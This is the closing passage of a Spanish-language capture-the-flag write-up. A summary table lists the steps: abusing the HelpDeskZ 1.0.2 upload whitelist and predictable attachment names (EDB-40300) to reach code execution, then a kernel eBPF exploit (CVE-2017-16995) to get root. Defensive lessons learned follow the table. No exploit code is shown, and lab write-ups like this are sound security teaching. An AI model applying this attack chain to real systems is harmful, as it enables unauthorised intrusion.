| Escalada en app | HelpDeskZ 1.0.2 — whitelist de subidas | Whitelist modificable desde la UI de staff + nombre de adjunto predecible (EDB-40300) | RCE como help (user.txt) |
| PrivEsc | Kernel Ubuntu 16.04.5 / 4.4.0-116 | CVE-2017-16995 — sign-extension en verificador eBPF | Root (root.txt) |
Lecciones aprendidas
- La introspección de GraphQL apagada es defensa en profundidad, no el control real: la autorización debe vivir en cada resolver, nunca depender de que el esquema sea secreto.
- Un captcha que no se invalida al verificarse (solo al regenerar la imagen) no frena nada — permite reutilizar el mismo valor en cientos de peticiones automatizadas.
- Una whitelist de subidas editable desde la propia aplicación (dato en BD, no configuración de infraestructura) es tan fuerte como el control de acceso al panel que la gestiona — aquí, una SQLi aguas arriba la anuló por completo.
- Un servicio web ejecutándose como un usuario real del sistema (en vez de una cuenta de servicio sin shell) convierte cualquier RCE de aplicación en acceso persistente inmediato.
- Mantener el kernel desactualizado aunque el sistema operativo reciba parches (16.04.5 con un kernel de 16.04.0) deja ventanas de meses para exploits de privesc ya públicos.